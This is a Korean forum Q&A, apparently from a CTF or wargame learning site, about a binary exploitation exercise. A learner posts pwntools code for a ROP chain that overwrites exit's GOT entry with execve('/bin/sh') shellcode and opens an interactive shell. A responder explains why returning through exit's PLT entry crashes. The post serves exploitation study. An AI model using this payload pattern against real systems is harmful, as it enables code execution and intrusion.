안녕하세요. 해당 문제를 풀기 위해서 RAO, ROP, GOT Overwrite 공격을 통해 문제를 풀이하던 중 궁금증이 생겨서 질문을 남깁니다.
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_pop_r15) + p64(exit_got) + p64(0)
payload += p64(pop_rdx) + p64(len(shellcode))
payload += p64(read_plt)
payload += p64(exit_got)
# payload += p64(exit_plt)
# main의 read
sleep(0.5)
p.send(payload)
# ROP의 read
sleep(0.5)
p.send(shellcode)
p.interactive()
shellcraft.execve("/bin/sh", 0, 0)
을 통해 쉘코드를 생성한 후, 위와 같이 exit_got
에 GOT Overwrite를 해주었습니다.
이후, exit_got
로 Return address를 조작하여 문제를 풀이할 수 있었는데,
여기서 주석친 코드처럼 exit_got
가 아닌 exit_plt
로 Return address를 조작하면 쉘코드가 실행되지 않는 이유가 무엇인가요?
exit_plt를 호출해도 결국 exit_got에 적힌 쉘코드를 수행할 것이라고 생각했는데, 안되는 이유가 아래의 두 이유 중 있을까요?
-
exit_plt
를 호출하면 인자를 설정하는 과정에서 문제가 생겨서 쉘코드가 정상적으로 실행되지 않는다. -
exit_plt
를 통해exit_got
에 접근했을 때,exit_got
에는 쉘코드의 주소가 저장되어있어야 하는데, 쉘코드의 instruction 자체가 저장되있기 때문에 쉘코드가 정상적으로 실행할 수 없다.
두 이유 모두 아니라면 exit_plt
로는 쉘코드를 실행할 수 없는 이유를 설명해주신다면 정말 감사드리겠습니다.
2번이 맞습니다. exit_plt를 호출하는 경우, call [exit_got]와 사실상 동일하므로 exit_got에 들어있는 주소로 rip를 변경합니다. 하지만 앞의 read로 인해 exit_got에 shellcode instruction이 들어있으므로, 올바른 곳으로 이동하지 못하여 segfault가 나게 됩니다.